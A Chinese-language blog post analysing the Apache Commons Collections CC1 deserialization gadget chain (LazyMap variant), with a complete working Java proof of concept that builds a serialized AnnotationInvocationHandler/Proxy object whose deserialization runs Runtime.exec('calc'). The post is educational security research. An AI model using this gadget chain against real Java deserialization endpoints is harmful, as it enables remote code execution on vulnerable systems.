CC1链(LazyMap版)

CC1链(LazyMap版)

白日梦组长视频:https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

https://yschen20.github.io/2025/12/11/CC1链(LazyMap版)/

分析链子

CC1 链除了TransformedMap的链子,还有个正版 CC1 链的LazyMap链子

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

image-20251210192507739

后面的部分和TransformedMap版的一样,然后就是要去往上一点点找链子了

在之前找ChainedTransformer里的transform方法可以被谁调用的时候,找的是TransformedMap里的checkSetValue()方法,除了这个之外还可以用LazyMap里的get()方法,也是可以调用的

image-20260204161638886

进去看看,可以看到是调用了factorytransform方法,去看看factory是什么

image-20260204163147968

发现factoryTransformer的,而且看样子可以更改,我们把factory改为ChainedTransformer就能走我们之前写的递归,然后走进if里面就调用了get,从而实现危险函数

image-20260204163317424

我们走进if就要确保没有key,即指定的keymap中不存在,这里的key就是要传入get()方法的参数

在往上就直接根据正版 CC1 链的链子看了,可以看到是用两次AnnotationInvocationHandler和一次动态代理来实现的

img

我们根据这个链子找,发现在invoke方法中的get是可控的

image-20260204164926231

这里可以用动态代理调用方法,当通过代理对象调用接口的任何方法的时候,这里的invoke方法就会自动调用,这里就需要找一个接口

大概链子就长这样

image-20251210201804200

回到函数

image-20260204170122523

这里有两个``if条件,第一个是判断我们是不是equals方法,是就返回xxx,很明显我们不能这样,因为我们需要走进外面的Object result = memberValues.get(member);`,第二个就是判断我们的方法是不是有参的,有参就报错,那我们就得找个无参方法

然后去看下面正好是调用了无参方法entrySet(),所以这就是动态代理要调用的方法

image-20260204170434989

memberValues.entrySet()这就是个无参方法

//动态代理
InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,transformedMap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

image-20260204171724269

他这里接收map我们就代理map

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test2 {
    public static void main(String[] args) throws Exception{


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
        annotation.setAccessible(true);

        //动态代理
        InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);

        Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        Object o = annotation.newInstance(Target.class,mapProxy);


       // serialize(o);
       unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

代码整体分为 「构造恶意链式转换器」→「构造 LazyMap 恶意容器」→「动态代理封装」→「双层 AnnotationInvocationHandler 封装」→「反序列化触发」 5 个阶段

整个流程//解析代码

我们先创建transformers转换器数组并构造出能通过反射执行系统命令calc的恶意chainedTransformer链式转换器,

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);

再通过LazyMap.decorate方法将这个恶意转换器绑定到空的HashMap对象map上生成lazyMap,利用lazyMap调用get方法获取不存在的 Key 时会触发绑定转换器的特性埋好恶意逻辑;

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

接着通过Class.forName反射获取 JDK 隐藏的AnnotationInvocationHandler类对象c,再通过getDeclaredConstructor拿到该类的构造器annotation并调用setAccessible(true)解锁私有构造器的使用权限,

        Class  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
        annotation.setAccessible(true);

先调用annotation.newInstance传入Target.class和恶意lazyMap创建该类实例并强转为InvocationHandler对象h,作为动态代理的调用处理器;然后通过Proxy.newProxyInstance方法,传入LazyMap的类加载器、Map接口类数组和处理器h,创建出无实际 Map 逻辑、所有操作都会转发给h的 Map 动态代理对象mapProxy;再调用annotation.newInstance传入Target.class和代理对象mapProxy,创建出最终的AnnotationInvocationHandler实例o,这个o是可序列化的恶意对象;

InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);

Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotation.newInstance(Target.class,mapProxy);

最后调用unserialize方法反序列化ser.bin文件时,会自动执行oreadObject方法,该方法会遍历并操作内部的mapProxymapProxy会将所有操作转发给处理器hinvoke方法,hinvoke方法会直接操作其持有的lazyMap并调用get方法,因lazyMap基于空HashMap无任何可用 Key,会触发绑定的chainedTransformer链式转换器,其内部的ConstantTransformer和三次InvokerTransformer会按顺序执行transform方法,通过反射依次调用Runtime.classgetMethodinvokeexec方法,最终执行calc命令弹出计算器。

posted @ 2026-02-04 17:45  paaai  阅读(0)  评论(0)    收藏  举报